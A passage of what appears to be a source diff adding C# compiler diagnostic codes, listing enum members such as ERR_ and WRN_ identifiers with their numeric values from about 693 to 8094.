WRN_TypeParameterSameAsOuterTypeParameter = 693, + ERR_TypeVariableSameAsParent = 694, + ERR_UnifyingInterfaceInstantiations = 695, + ERR_TyVarNotFoundInConstraint = 699, + ERR_BadBoundType = 701, + ERR_SpecialTypeAsBound = 702, + ERR_BadVisBound = 703, + ERR_LookupInTypeVariable = 704, + ERR_BadConstraintType = 706, + ERR_InstanceMemberInStaticClass = 708, + ERR_StaticBaseClass = 709, + ERR_ConstructorInStaticClass = 710, + ERR_DestructorInStaticClass = 711, + ERR_InstantiatingStaticClass = 712, + ERR_StaticDerivedFromNonObject = 713, + ERR_StaticClassInterfaceImpl = 714, + ERR_OperatorInStaticClass = 715, + ERR_ConvertToStaticClass = 716, + ERR_ConstraintIsStaticClass = 717, + ERR_GenericArgIsStaticClass = 718, + ERR_ArrayOfStaticClass = 719, + ERR_IndexerInStaticClass = 720, + ERR_ParameterIsStaticClass = 721, + ERR_ReturnTypeIsStaticClass = 722, + ERR_VarDeclIsStaticClass = 723, + ERR_BadEmptyThrowInFinally = 724, + ERR_InvalidSpecifier = 726, + WRN_AssignmentToLockOrDispose = 728, + ERR_ForwardedTypeInThisAssembly = 729, + ERR_ForwardedTypeIsNested = 730, + ERR_CycleInTypeForwarder = 731, + ERR_AssemblyNameOnNonModule = 734, + ERR_InvalidFwdType = 735, + ERR_CloseUnimplementedInterfaceMemberStatic = 736, + ERR_CloseUnimplementedInterfaceMemberNotPublic = 737, + ERR_CloseUnimplementedInterfaceMemberWrongReturnType = 738, + ERR_DuplicateTypeForwarder = 739, + ERR_ExpectedSelectOrGroup = 742, + ERR_ExpectedContextualKeywordOn = 743, + ERR_ExpectedContextualKeywordEquals = 744, + ERR_ExpectedContextualKeywordBy = 745, + ERR_InvalidAnonymousTypeMemberDeclarator = 746, + ERR_InvalidInitializerElementInitializer = 747, + ERR_InconsistentLambdaParameterUsage = 748, + ERR_PartialMethodInvalidModifier = 750, + ERR_PartialMethodOnlyInPartialClass = 751, + ERR_PartialMethodNotExplicit = 754, + ERR_PartialMethodExtensionDifference = 755, + ERR_PartialMethodOnlyOneLatent = 756, + ERR_PartialMethodOnlyOneActual = 757, + ERR_PartialMethodParamsDifference = 758, + ERR_PartialMethodMustHaveLatent = 759, + ERR_PartialMethodInconsistentConstraints = 761, + ERR_PartialMethodToDelegate = 762, + ERR_PartialMethodStaticDifference = 763, + ERR_PartialMethodUnsafeDifference = 764, + ERR_PartialMethodInExpressionTree = 765, + ERR_ExplicitImplCollisionOnRefOut = 767, + ERR_IndirectRecursiveConstructorCall = 768, + WRN_ObsoleteOverridingNonObsolete = 809, + WRN_DebugFullNameTooLong = 811, + ERR_ImplicitlyTypedVariableAssignedBadValue = 815, + ERR_ImplicitlyTypedVariableWithNoInitializer = 818, + ERR_ImplicitlyTypedVariableMultipleDeclarator = 819, + ERR_ImplicitlyTypedVariableAssignedArrayInitializer = 820, + ERR_ImplicitlyTypedLocalCannotBeFixed = 821, + ERR_ImplicitlyTypedVariableCannotBeConst = 822, + WRN_ExternCtorNoImplementation = 824, + ERR_TypeVarNotFound = 825, + ERR_ImplicitlyTypedArrayNoBestType = 826, + ERR_AnonymousTypePropertyAssignedBadValue = 828, + ERR_ExpressionTreeContainsBaseAccess = 831, + ERR_ExpressionTreeContainsAssignment = 832, + ERR_AnonymousTypeDuplicatePropertyName = 833, + ERR_StatementLambdaToExpressionTree = 834, + ERR_ExpressionTreeMustHaveDelegate = 835, + ERR_AnonymousTypeNotAvailable = 836, + ERR_LambdaInIsAs = 837, + ERR_ExpressionTreeContainsMultiDimensionalArrayInitializer = 838, + ERR_MissingArgument = 839, + ERR_VariableUsedBeforeDeclaration = 841, + ERR_UnassignedThisAutoPropertyUnsupportedVersion = 843, + ERR_VariableUsedBeforeDeclarationAndHidesField = 844, + ERR_ExpressionTreeContainsBadCoalesce = 845, + ERR_ArrayInitializerExpected = 846, + ERR_ArrayInitializerIncorrectLength = 847, + ERR_ExpressionTreeContainsNamedArgument = 853, + ERR_ExpressionTreeContainsOptionalArgument = 854, + ERR_ExpressionTreeContainsIndexedProperty = 855, + ERR_IndexedPropertyRequiresParams = 856, + ERR_IndexedPropertyMustHaveAllOptionalParams = 857, + ERR_IdentifierExpected = 1001, + ERR_SemicolonExpected = 1002, + ERR_SyntaxError = 1003, + ERR_DuplicateModifier = 1004, + ERR_DuplicateAccessor = 1007, + ERR_IntegralTypeExpected = 1008, + ERR_IllegalEscape = 1009, + ERR_NewlineInConst = 1010, + ERR_EmptyCharConst = 1011, + ERR_TooManyCharsInConst = 1012, + ERR_InvalidNumber = 1013, + ERR_GetOrSetExpected = 1014, + ERR_ClassTypeExpected = 1015, + ERR_NamedArgumentExpected = 1016, + ERR_TooManyCatches = 1017, + ERR_ThisOrBaseExpected = 1018, + ERR_OvlUnaryOperatorExpected = 1019, + ERR_OvlBinaryOperatorExpected = 1020, + ERR_IntOverflow = 1021, + ERR_EOFExpected = 1022, + ERR_BadEmbeddedStmt = 1023, + ERR_PPDirectiveExpected = 1024, + ERR_EndOfPPLineExpected = 1025, + ERR_CloseParenExpected = 1026, + ERR_EndifDirectiveExpected = 1027, + ERR_UnexpectedDirective = 1028, + ERR_ErrorDirective = 1029, + WRN_WarningDirective = 1030, + ERR_TypeExpected = 1031, + ERR_PPDefFollowsToken = 1032, + ERR_OpenEndedComment = 1035, + ERR_OvlOperatorExpected = 1037, + ERR_EndRegionDirectiveExpected = 1038, + ERR_UnterminatedStringLit = 1039, + ERR_BadDirectivePlacement = 1040, + ERR_IdentifierExpectedKW = 1041, + ERR_SemiOrLBraceExpected = 1043, + ERR_MultiTypeInDeclaration = 1044, + ERR_AddOrRemoveExpected = 1055, + ERR_UnexpectedCharacter = 1056, + ERR_ProtectedInStatic = 1057, + WRN_UnreachableGeneralCatch = 1058, + ERR_IncrementLvalueExpected = 1059, + ERR_NoSuchMemberOrExtension = 1061, + WRN_DeprecatedCollectionInitAddStr = 1062, + ERR_DeprecatedCollectionInitAddStr = 1063, + WRN_DeprecatedCollectionInitAdd = 1064, + ERR_DefaultValueNotAllowed = 1065, + WRN_DefaultValueForUnconsumedLocation = 1066, + ERR_PartialWrongTypeParamsVariance = 1067, + ERR_GlobalSingleTypeNameNotFoundFwd = 1068, + ERR_DottedTypeNameNotFoundInNSFwd = 1069, + ERR_SingleTypeNameNotFoundFwd = 1070, + WRN_IdentifierOrNumericLiteralExpected = 1072, + ERR_UnexpectedToken = 1073, + ERR_BadThisParam = 1100, + ERR_BadTypeforThis = 1103, + ERR_BadParamModThis = 1104, + ERR_BadExtensionMeth = 1105, + ERR_BadExtensionAgg = 1106, + ERR_DupParamMod = 1107, + ERR_ExtensionMethodsDecl = 1109, + ERR_ExtensionAttrNotFound = 1110, + ERR_ExplicitExtension = 1112, + ERR_ValueTypeExtDelegate = 1113, + ERR_BadArgCount = 1501, + ERR_BadArgType = 1503, + ERR_NoSourceFile = 1504, + ERR_CantRefResource = 1507, + ERR_ResourceNotUnique = 1508, + ERR_ImportNonAssembly = 1509, + ERR_RefLvalueExpected = 1510, + ERR_BaseInStaticMeth = 1511, + ERR_BaseInBadContext = 1512, + ERR_RbraceExpected = 1513, + ERR_LbraceExpected = 1514, + ERR_InExpected = 1515, + ERR_InvalidPreprocExpr = 1517, + ERR_InvalidMemberDecl = 1519, + ERR_MemberNeedsType = 1520, + ERR_BadBaseType = 1521, + WRN_EmptySwitch = 1522, + ERR_ExpectedEndTry = 1524, + ERR_InvalidExprTerm = 1525, + ERR_BadNewExpr = 1526, + ERR_NoNamespacePrivate = 1527, + ERR_BadVarDecl = 1528, + ERR_UsingAfterElements = 1529, + ERR_BadBinOpArgs = 1534, + ERR_BadUnOpArgs = 1535, + ERR_NoVoidParameter = 1536, + ERR_DuplicateAlias = 1537, + ERR_BadProtectedAccess = 1540, + ERR_AddModuleAssembly = 1542, + ERR_BindToBogusProp2 = 1545, + ERR_BindToBogusProp1 = 1546, + ERR_NoVoidHere = 1547, + ERR_IndexerNeedsParam = 1551, + ERR_BadArraySyntax = 1552, + ERR_BadOperatorSyntax = 1553, + ERR_MainClassNotFound = 1555, + ERR_MainClassNotClass = 1556, + ERR_NoMainInClass = 1558, + ERR_OutputNeedsName = 1562, + ERR_CantHaveWin32ResAndManifest = 1564, + ERR_CantHaveWin32ResAndIcon = 1565, + ERR_CantReadResource = 1566, + ERR_DocFileGen = 1569, + WRN_XMLParseError = 1570, + WRN_DuplicateParamTag = 1571, + WRN_UnmatchedParamTag = 1572, + WRN_MissingParamTag = 1573, + WRN_BadXMLRef = 1574, + ERR_BadStackAllocExpr = 1575, + ERR_InvalidLineNumber = 1576, + ERR_MissingPPFile = 1578, + ERR_ForEachMissingMember = 1579, + WRN_BadXMLRefParamType = 1580, + WRN_BadXMLRefReturnType = 1581, + ERR_BadWin32Res = 1583, + WRN_BadXMLRefSyntax = 1584, + ERR_BadModifierLocation = 1585, + ERR_MissingArraySize = 1586, + WRN_UnprocessedXMLComment = 1587, + WRN_FailedInclude = 1589, + WRN_InvalidInclude = 1590, + WRN_MissingXMLComment = 1591, + WRN_XMLParseIncludeError = 1592, + ERR_BadDelArgCount = 1593, + ERR_UnexpectedSemicolon = 1597, + ERR_MethodReturnCantBeRefAny = 1599, + ERR_CompileCancelled = 1600, + ERR_MethodArgCantBeRefAny = 1601, + ERR_AssgReadonlyLocal = 1604, + ERR_RefReadonlyLocal = 1605, + WRN_ALinkWarn = 1607, + ERR_CantUseRequiredAttribute = 1608, + ERR_NoModifiersOnAccessor = 1609, + ERR_ParamsCantBeWithModifier = 1611, + ERR_ReturnNotLValue = 1612, + ERR_MissingCoClass = 1613, + ERR_AmbiguousAttribute = 1614, + ERR_BadArgExtraRef = 1615, + WRN_CmdOptionConflictsSource = 1616, + ERR_BadCompatMode = 1617, + ERR_DelegateOnConditional = 1618, + ERR_CantMakeTempFile = 1619, + ERR_BadArgRef = 1620, + ERR_YieldInAnonMeth = 1621, + ERR_ReturnInIterator = 1622, + ERR_BadIteratorArgType = 1623, + ERR_BadIteratorReturn = 1624, + ERR_BadYieldInFinally = 1625, + ERR_BadYieldInTryOfCatch = 1626, + ERR_EmptyYield = 1627, + ERR_AnonDelegateCantUse = 1628, + ERR_IllegalInnerUnsafe = 1629, + ERR_BadYieldInCatch = 1631, + ERR_BadDelegateLeave = 1632, + WRN_IllegalPragma = 1633, + WRN_IllegalPPWarning = 1634, + WRN_BadRestoreNumber = 1635, + ERR_VarargsIterator = 1636, + ERR_UnsafeIteratorArgType = 1637, + ERR_BadCoClassSig = 1639, + ERR_MultipleIEnumOfT = 1640, + ERR_FixedDimsRequired = 1641, + ERR_FixedNotInStruct = 1642, + ERR_AnonymousReturnExpected = 1643, + WRN_NonECMAFeature = 1645, + ERR_ExpectedVerbatimLiteral = 1646, + ERR_AssgReadonly2 = 1648, + ERR_RefReadonly2 = 1649, + ERR_AssgReadonlyStatic2 = 1650, + ERR_RefReadonlyStatic2 = 1651, + ERR_AssgReadonlyLocal2Cause = 1654, + ERR_RefReadonlyLocal2Cause = 1655, + ERR_AssgReadonlyLocalCause = 1656, + ERR_RefReadonlyLocalCause = 1657, + WRN_ErrorOverride = 1658, + ERR_AnonMethToNonDel = 1660, + ERR_CantConvAnonMethParams = 1661, + ERR_CantConvAnonMethReturns = 1662, + ERR_IllegalFixedType = 1663, + ERR_FixedOverflow = 1664, + ERR_InvalidFixedArraySize = 1665, + ERR_FixedBufferNotFixed = 1666, + ERR_AttributeNotOnAccessor = 1667, + WRN_InvalidSearchPathDir = 1668, + ERR_IllegalVarArgs = 1669, + ERR_IllegalParams = 1670, + ERR_BadModifiersOnNamespace = 1671, + ERR_BadPlatformType = 1672, + ERR_ThisStructNotInAnonMeth = 1673, + ERR_NoConvToIDisp = 1674, + ERR_BadParamRef = 1676, + ERR_BadParamExtraRef = 1677, + ERR_BadParamType = 1678, + ERR_BadExternIdentifier = 1679, + ERR_AliasMissingFile = 1680, + ERR_GlobalExternAlias = 1681, + WRN_MultiplePredefTypes = 1685, + ERR_LocalCantBeFixedAndHoisted = 1686, + WRN_TooManyLinesForDebugger = 1687, + ERR_CantConvAnonMethNoParams = 1688, + ERR_ConditionalOnNonAttributeClass = 1689, + WRN_CallOnNonAgileField = 1690, + WRN_InvalidNumber = 1692, + WRN_IllegalPPChecksum = 1695, + WRN_EndOfPPLineExpected = 1696, + WRN_ConflictingChecksum = 1697, + WRN_InvalidAssemblyName = 1700, + WRN_UnifyReferenceMajMin = 1701, + WRN_UnifyReferenceBldRev = 1702, + ERR_DuplicateImport = 1703, + ERR_DuplicateImportSimple = 1704, + ERR_AssemblyMatchBadVersion = 1705, + ERR_FixedNeedsLvalue = 1708, + WRN_DuplicateTypeParamTag = 1710, + WRN_UnmatchedTypeParamTag = 1711, + WRN_MissingTypeParamTag = 1712, + ERR_CantChangeTypeOnOverride = 1715, + ERR_DoNotUseFixedBufferAttr = 1716, + WRN_AssignmentToSelf = 1717, + WRN_ComparisonToSelf = 1718, + ERR_CantOpenWin32Res = 1719, + WRN_DotOnDefault = 1720, + ERR_NoMultipleInheritance = 1721, + ERR_BaseClassMustBeFirst = 1722, + WRN_BadXMLRefTypeVar = 1723, + ERR_FriendAssemblyBadArgs = 1725, + ERR_FriendAssemblySNReq = 1726, + ERR_DelegateOnNullable = 1728, + ERR_BadCtorArgCount = 1729, + ERR_GlobalAttributesNotFirst = 1730, + ERR_ExpressionExpected = 1733, + WRN_UnmatchedParamRefTag = 1734, + WRN_UnmatchedTypeParamRefTag = 1735, + ERR_DefaultValueMustBeConstant = 1736, + ERR_DefaultValueBeforeRequiredValue = 1737, + ERR_NamedArgumentSpecificationBeforeFixedArgument = 1738, + ERR_BadNamedArgument = 1739, + ERR_DuplicateNamedArgument = 1740, + ERR_RefOutDefaultValue = 1741, + ERR_NamedArgumentForArray = 1742, + ERR_DefaultValueForExtensionParameter = 1743, + ERR_NamedArgumentUsedInPositional = 1744, + ERR_DefaultValueUsedWithAttributes = 1745, + ERR_BadNamedArgumentForDelegateInvoke = 1746, + ERR_NoPIAAssemblyMissingAttribute = 1747, + ERR_NoCanonicalView = 1748, + ERR_NoConversionForDefaultParam = 1750, + ERR_DefaultValueForParamsParameter = 1751, + ERR_NewCoClassOnLink = 1752, + ERR_NoPIANestedType = 1754, + ERR_InteropTypeMissingAttribute = 1756, + ERR_InteropStructContainsMethods = 1757, + ERR_InteropTypesWithSameNameAndGuid = 1758, + ERR_NoPIAAssemblyMissingAttributes = 1759, + ERR_AssemblySpecifiedForLinkAndRef = 1760, + ERR_LocalTypeNameClash = 1761, + WRN_ReferencedAssemblyReferencesLinkedPIA = 1762, + ERR_NotNullRefDefaultParameter = 1763, + ERR_FixedLocalInLambda = 1764, + ERR_MissingMethodOnSourceInterface = 1766, + ERR_MissingSourceInterface = 1767, + ERR_GenericsUsedInNoPIAType = 1768, + ERR_GenericsUsedAcrossAssemblies = 1769, + ERR_NoConversionForNubDefaultParam = 1770, + ERR_InvalidSubsystemVersion = 1773, + ERR_InteropMethodWithBody = 1774, + ERR_BadWarningLevel = 1900, + ERR_BadDebugType = 1902, + ERR_BadResourceVis = 1906, + ERR_DefaultValueTypeMustMatch = 1908, + ERR_DefaultValueBadValueType = 1910, + ERR_MemberAlreadyInitialized = 1912, + ERR_MemberCannotBeInitialized = 1913, + ERR_StaticMemberInObjectInitializer = 1914, + ERR_ReadonlyValueTypeInObjectInitializer = 1917, + ERR_ValueTypePropertyInObjectInitializer = 1918, + ERR_UnsafeTypeInObjectCreation = 1919, + ERR_EmptyElementInitializer = 1920, + ERR_InitializerAddHasWrongSignature = 1921, + ERR_CollectionInitRequiresIEnumerable = 1922, + ERR_CantOpenWin32Manifest = 1926, + WRN_CantHaveManifestForModule = 1927, + ERR_BadInstanceArgType = 1929, + ERR_QueryDuplicateRangeVariable = 1930, + ERR_QueryRangeVariableOverrides = 1931, + ERR_QueryRangeVariableAssignedBadValue = 1932, + ERR_QueryNoProviderCastable = 1934, + ERR_QueryNoProviderStandard = 1935, + ERR_QueryNoProvider = 1936, + ERR_QueryOuterKey = 1937, + ERR_QueryInnerKey = 1938, + ERR_QueryOutRefRangeVariable = 1939, + ERR_QueryMultipleProviders = 1940, + ERR_QueryTypeInferenceFailedMulti = 1941, + ERR_QueryTypeInferenceFailed = 1942, + ERR_QueryTypeInferenceFailedSelectMany = 1943, + ERR_ExpressionTreeContainsPointerOp = 1944, + ERR_ExpressionTreeContainsAnonymousMethod = 1945, + ERR_AnonymousMethodToExpressionTree = 1946, + ERR_QueryRangeVariableReadOnly = 1947, + ERR_QueryRangeVariableSameAsTypeParam = 1948, + ERR_TypeVarNotFoundRangeVariable = 1949, + ERR_BadArgTypesForCollectionAdd = 1950, + ERR_ByRefParameterInExpressionTree = 1951, + ERR_VarArgsInExpressionTree = 1952, + ERR_InitializerAddHasParamModifiers = 1954, + ERR_NonInvocableMemberCalled = 1955, + WRN_MultipleRuntimeImplementationMatches = 1956, + WRN_MultipleRuntimeOverrideMatches = 1957, + ERR_ObjectOrCollectionInitializerWithDelegateCreation = 1958, + ERR_InvalidConstantDeclarationType = 1959, + ERR_IllegalVarianceSyntax = 1960, + ERR_UnexpectedVariance = 1961, + ERR_BadDynamicTypeof = 1962, + ERR_ExpressionTreeContainsDynamicOperation = 1963, + ERR_BadDynamicConversion = 1964, + ERR_DeriveFromDynamic = 1965, + ERR_DeriveFromConstructedDynamic = 1966, + ERR_DynamicTypeAsBound = 1967, + ERR_ConstructedDynamicTypeAsBound = 1968, + ERR_DynamicRequiredTypesMissing = 1969, + ERR_ExplicitDynamicAttr = 1970, + ERR_NoDynamicPhantomOnBase = 1971, + ERR_NoDynamicPhantomOnBaseIndexer = 1972, + ERR_BadArgTypeDynamicExtension = 1973, + WRN_DynamicDispatchToConditionalMethod = 1974, + ERR_NoDynamicPhantomOnBaseCtor = 1975, + ERR_BadDynamicMethodArgMemgrp = 1976, + ERR_BadDynamicMethodArgLambda = 1977, + ERR_BadDynamicMethodArg = 1978, + ERR_BadDynamicQuery = 1979, + ERR_DynamicAttributeMissing = 1980, + WRN_IsDynamicIsConfusing = 1981, + ERR_BadAsyncReturn = 1983, + ERR_BadAwaitInFinally = 1984, + ERR_BadAwaitInCatch = 1985, + ERR_BadAwaitArg = 1986, + ERR_BadAsyncArgType = 1988, + ERR_BadAsyncExpressionTree = 1989, + ERR_MixingWinRTEventWithRegular = 1991, + ERR_BadAwaitWithoutAsync = 1992, + ERR_BadAsyncLacksBody = 1994, + ERR_BadAwaitInQuery = 1995, + ERR_BadAwaitInLock = 1996, + ERR_TaskRetNoObjectRequired = 1997, + WRN_AsyncLacksAwaits = 1998, + ERR_FileNotFound = 2001, + WRN_FileAlreadyIncluded = 2002, + ERR_NoFileSpec = 2005, + ERR_SwitchNeedsString = 2006, + ERR_BadSwitch = 2007, + WRN_NoSources = 2008, + ERR_OpenResponseFile = 2011, + ERR_CantOpenFileWrite = 2012, + ERR_BadBaseNumber = 2013, + ERR_BinaryFile = 2015, + FTL_BadCodepage = 2016, + ERR_NoMainOnDLL = 2017, + FTL_InvalidTarget = 2019, + FTL_InvalidInputFileName = 2021, + WRN_NoConfigNotOnCommandLine = 2023, + ERR_InvalidFileAlignment = 2024, + WRN_DefineIdentifierRequired = 2029, + FTL_OutputFileExists = 2033, + ERR_OneAliasPerReference = 2034, + ERR_SwitchNeedsNumber = 2035, + ERR_MissingDebugSwitch = 2036, + ERR_ComRefCallInExpressionTree = 2037, + WRN_BadUILang = 2038, + ERR_InvalidFormatForGuidForOption = 2039, + ERR_MissingGuidForOption = 2040, + ERR_InvalidOutputName = 2041, + ERR_InvalidDebugInformationFormat = 2042, + ERR_LegacyObjectIdSyntax = 2043, + ERR_SourceLinkRequiresPdb = 2044, + ERR_CannotEmbedWithoutPdb = 2045, + ERR_BadSwitchValue = 2046, + WRN_CLS_NoVarArgs = 3000, + WRN_CLS_BadArgType = 3001, + WRN_CLS_BadReturnType = 3002, + WRN_CLS_BadFieldPropType = 3003, + WRN_CLS_BadIdentifierCase = 3005, + WRN_CLS_OverloadRefOut = 3006, + WRN_CLS_OverloadUnnamed = 3007, + WRN_CLS_BadIdentifier = 3008, + WRN_CLS_BadBase = 3009, + WRN_CLS_BadInterfaceMember = 3010, + WRN_CLS_NoAbstractMembers = 3011, + WRN_CLS_NotOnModules = 3012, + WRN_CLS_ModuleMissingCLS = 3013, + WRN_CLS_AssemblyNotCLS = 3014, + WRN_CLS_BadAttributeType = 3015, + WRN_CLS_ArrayArgumentToAttribute = 3016, + WRN_CLS_NotOnModules2 = 3017, + WRN_CLS_IllegalTrueInFalse = 3018, + WRN_CLS_MeaninglessOnPrivateType = 3019, + WRN_CLS_AssemblyNotCLS2 = 3021, + WRN_CLS_MeaninglessOnParam = 3022, + WRN_CLS_MeaninglessOnReturn = 3023, + WRN_CLS_BadTypeVar = 3024, + WRN_CLS_VolatileField = 3026, + WRN_CLS_BadInterface = 3027, + FTL_BadChecksumAlgorithm = 3028, + ERR_BadAwaitArgIntrinsic = 4001, + ERR_BadAwaitAsIdentifier = 4003, + ERR_AwaitInUnsafeContext = 4004, + ERR_UnsafeAsyncArgType = 4005, + ERR_VarargsAsync = 4006, + ERR_ByRefTypeAndAwait = 4007, + ERR_BadAwaitArgVoidCall = 4008, + ERR_NonTaskMainCantBeAsync = 4009, + ERR_CantConvAsyncAnonFuncReturns = 4010, + ERR_BadAwaiterPattern = 4011, + ERR_BadSpecialByRefLocal = 4012, + ERR_SpecialByRefInLambda = 4013, + WRN_UnobservedAwaitableExpression = 4014, + ERR_SynchronizedAsyncMethod = 4015, + ERR_BadAsyncReturnExpression = 4016, + ERR_NoConversionForCallerLineNumberParam = 4017, + ERR_NoConversionForCallerFilePathParam = 4018, + ERR_NoConversionForCallerMemberNameParam = 4019, + ERR_BadCallerLineNumberParamWithoutDefaultValue = 4020, + ERR_BadCallerFilePathParamWithoutDefaultValue = 4021, + ERR_BadCallerMemberNameParamWithoutDefaultValue = 4022, + ERR_BadPrefer32OnLib = 4023, + WRN_CallerLineNumberParamForUnconsumedLocation = 4024, + WRN_CallerFilePathParamForUnconsumedLocation = 4025, + WRN_CallerMemberNameParamForUnconsumedLocation = 4026, + ERR_DoesntImplementAwaitInterface = 4027, + ERR_BadAwaitArg_NeedSystem = 4028, + ERR_CantReturnVoid = 4029, + ERR_SecurityCriticalOrSecuritySafeCriticalOnAsync = 4030, + ERR_SecurityCriticalOrSecuritySafeCriticalOnAsyncInClassOrStruct = 4031, + ERR_BadAwaitWithoutAsyncMethod = 4032, + ERR_BadAwaitWithoutVoidAsyncMethod = 4033, + ERR_BadAwaitWithoutAsyncLambda = 4034, + ERR_NoSuchMemberOrExtensionNeedUsing = 4036, + ERR_NoEntryPoint = 5001, + ERR_UnexpectedAliasedName = 7000, + ERR_UnexpectedGenericName = 7002, + ERR_UnexpectedUnboundGenericName = 7003, + ERR_GlobalStatement = 7006, + ERR_BadUsingType = 7007, + ERR_ReservedAssemblyName = 7008, + ERR_PPReferenceFollowsToken = 7009, + ERR_ExpectedPPFile = 7010, + ERR_ReferenceDirectiveOnlyAllowedInScripts = 7011, + ERR_NameNotInContextPossibleMissingReference = 7012, + ERR_MetadataNameTooLong = 7013, + ERR_AttributesNotAllowed = 7014, + ERR_ExternAliasNotAllowed = 7015, + ERR_ConflictingAliasAndDefinition = 7016, + ERR_GlobalDefinitionOrStatementExpected = 7017, + ERR_ExpectedSingleScript = 7018, + ERR_RecursivelyTypedVariable = 7019, + ERR_YieldNotAllowedInScript = 7020, + ERR_NamespaceNotAllowedInScript = 7021, + WRN_MainIgnored = 7022, + WRN_StaticInAsOrIs = 7023, + ERR_InvalidDelegateType = 7024, + ERR_BadVisEventType = 7025, + ERR_GlobalAttributesNotAllowed = 7026, + ERR_PublicKeyFileFailure = 7027, + ERR_PublicKeyContainerFailure = 7028, + ERR_FriendRefSigningMismatch = 7029, + ERR_CannotPassNullForFriendAssembly = 7030, + ERR_SignButNoPrivateKey = 7032, + WRN_DelaySignButNoKey = 7033, + ERR_InvalidVersionFormat = 7034, + WRN_InvalidVersionFormat = 7035, + ERR_NoCorrespondingArgument = 7036, + ERR_ModuleEmitFailure = 7038, + ERR_ResourceFileNameNotUnique = 7041, + ERR_DllImportOnGenericMethod = 7042, + ERR_EncUpdateFailedMissingAttribute = 7043, + ERR_ParameterNotValidForType = 7045, + ERR_AttributeParameterRequired1 = 7046, + ERR_AttributeParameterRequired2 = 7047, + ERR_SecurityAttributeMissingAction = 7048, + ERR_SecurityAttributeInvalidAction = 7049, + ERR_SecurityAttributeInvalidActionAssembly = 7050, + ERR_SecurityAttributeInvalidActionTypeOrMethod = 7051, + ERR_PrincipalPermissionInvalidAction = 7052, + ERR_FeatureNotValidInExpressionTree = 7053, + ERR_MarshalUnmanagedTypeNotValidForFields = 7054, + ERR_MarshalUnmanagedTypeOnlyValidForFields = 7055, + ERR_PermissionSetAttributeInvalidFile = 7056, + ERR_PermissionSetAttributeFileReadError = 7057, + ERR_InvalidVersionFormat2 = 7058, + ERR_InvalidAssemblyCultureForExe = 7059, + ERR_DuplicateAttributeInNetModule = 7061, + ERR_CantOpenIcon = 7064, + ERR_ErrorBuildingWin32Resources = 7065, + ERR_BadAttributeParamDefaultArgument = 7067, + ERR_MissingTypeInSource = 7068, + ERR_MissingTypeInAssembly = 7069, + ERR_SecurityAttributeInvalidTarget = 7070, + ERR_InvalidAssemblyName = 7071, + ERR_NoTypeDefFromModule = 7079, + WRN_CallerFilePathPreferredOverCallerMemberName = 7080, + WRN_CallerLineNumberPreferredOverCallerMemberName = 7081, + WRN_CallerLineNumberPreferredOverCallerFilePath = 7082, + ERR_InvalidDynamicCondition = 7083, + ERR_WinRtEventPassedByRef = 7084, + ERR_NetModuleNameMismatch = 7086, + ERR_BadModuleName = 7087, + ERR_BadCompilationOptionValue = 7088, + ERR_BadAppConfigPath = 7089, + WRN_AssemblyAttributeFromModuleIsOverridden = 7090, + ERR_CmdOptionConflictsSource = 7091, + ERR_FixedBufferTooManyDimensions = 7092, + ERR_CantReadConfigFile = 7093, + ERR_BadAwaitInCatchFilter = 7094, + WRN_FilterIsConstantTrue = 7095, + ERR_EncNoPIAReference = 7096, + ERR_LinkedNetmoduleMetadataMustProvideFullPEImage = 7098, + ERR_MetadataReferencesNotSupported = 7099, + ERR_InvalidAssemblyCulture = 7100, + ERR_EncReferenceToAddedMember = 7101, + ERR_MutuallyExclusiveOptions = 7102, + ERR_InvalidDebugInfo = 7103, + WRN_UnimplementedCommandLineSwitch = 8001, + WRN_ReferencedAssemblyDoesNotHaveStrongName = 8002, + ERR_InvalidSignaturePublicKey = 8003, + ERR_ExportedTypeConflictsWithDeclaration = 8004, + ERR_ExportedTypesConflict = 8005, + ERR_ForwardedTypeConflictsWithDeclaration = 8006, + ERR_ForwardedTypesConflict = 8007, + ERR_ForwardedTypeConflictsWithExportedType = 8008, + WRN_RefCultureMismatch = 8009, + ERR_AgnosticToMachineModule = 8010, + ERR_ConflictingMachineModule = 8011, + WRN_ConflictingMachineAssembly = 8012, + ERR_CryptoHashFailed = 8013, + ERR_MissingNetModuleReference = 8014, + ERR_NetModuleNameMustBeUnique = 8015, + ERR_UnsupportedTransparentIdentifierAccess = 8016, + ERR_ParamDefaultValueDiffersFromAttribute = 8017, + WRN_UnqualifiedNestedTypeInCref = 8018, + HDN_UnusedUsingDirective = 8019, + HDN_UnusedExternAlias = 8020, + WRN_NoRuntimeMetadataVersion = 8021, + ERR_FeatureNotAvailableInVersion1 = 8022, + ERR_FeatureNotAvailableInVersion2 = 8023, + ERR_FeatureNotAvailableInVersion3 = 8024, + ERR_FeatureNotAvailableInVersion4 = 8025, + ERR_FeatureNotAvailableInVersion5 = 8026, + ERR_FieldHasMultipleDistinctConstantValues = 8027, + ERR_ComImportWithInitializers = 8028, + WRN_PdbLocalNameTooLong = 8029, + ERR_RetNoObjectRequiredLambda = 8030, + ERR_TaskRetNoObjectRequiredLambda = 8031, + WRN_AnalyzerCannotBeCreated = 8032, + WRN_NoAnalyzerInAssembly = 8033, + WRN_UnableToLoadAnalyzer = 8034, + ERR_CantReadRulesetFile = 8035, + ERR_BadPdbData = 8036, + INF_UnableToLoadSomeTypesInAnalyzer = 8040, + ERR_InitializerOnNonAutoProperty = 8050, + ERR_AutoPropertyMustHaveGetAccessor = 8051, + ERR_InstancePropertyInitializerInInterface = 8053, + ERR_EnumsCantContainDefaultConstructor = 8054, + ERR_EncodinglessSyntaxTree = 8055, + ERR_BlockBodyAndExpressionBody = 8057, + ERR_FeatureIsExperimental = 8058, + ERR_FeatureNotAvailableInVersion6 = 8059, + ERR_SwitchFallOut = 8070, + ERR_NullPropagatingOpInExpressionTree = 8072, + WRN_NubExprIsConstBool2 = 8073, + ERR_DictionaryInitializerInExpressionTree = 8074, + ERR_ExtensionCollectionElementInitializerInExpressionTree = 8075, + ERR_UnclosedExpressionHole = 8076, + ERR_InsufficientStack = 8078, + ERR_UseDefViolationProperty = 8079, + ERR_AutoPropertyMustOverrideSet = 8080, + ERR_ExpressionHasNoName = 8081, + ERR_SubexpressionNotInNameof = 8082, + ERR_AliasQualifiedNameNotAnExpression = 8083, + ERR_NameofMethodGroupWithTypeParameters = 8084, + ERR_NoAliasHere = 8085, + ERR_UnescapedCurly = 8086, + ERR_EscapedCurly = 8087, + ERR_TrailingWhitespaceInFormatSpecifier = 8088, + ERR_EmptyFormatSpecifier = 8089, + ERR_ErrorInReferencedAssembly = 8090, + ERR_ExternHasConstructorInitializer = 8091, + ERR_ExpressionOrDeclarationExpected = 8092, + ERR_NameofExtensionMethod = 8093, + WRN_AlignmentMagnitude = 8094, + 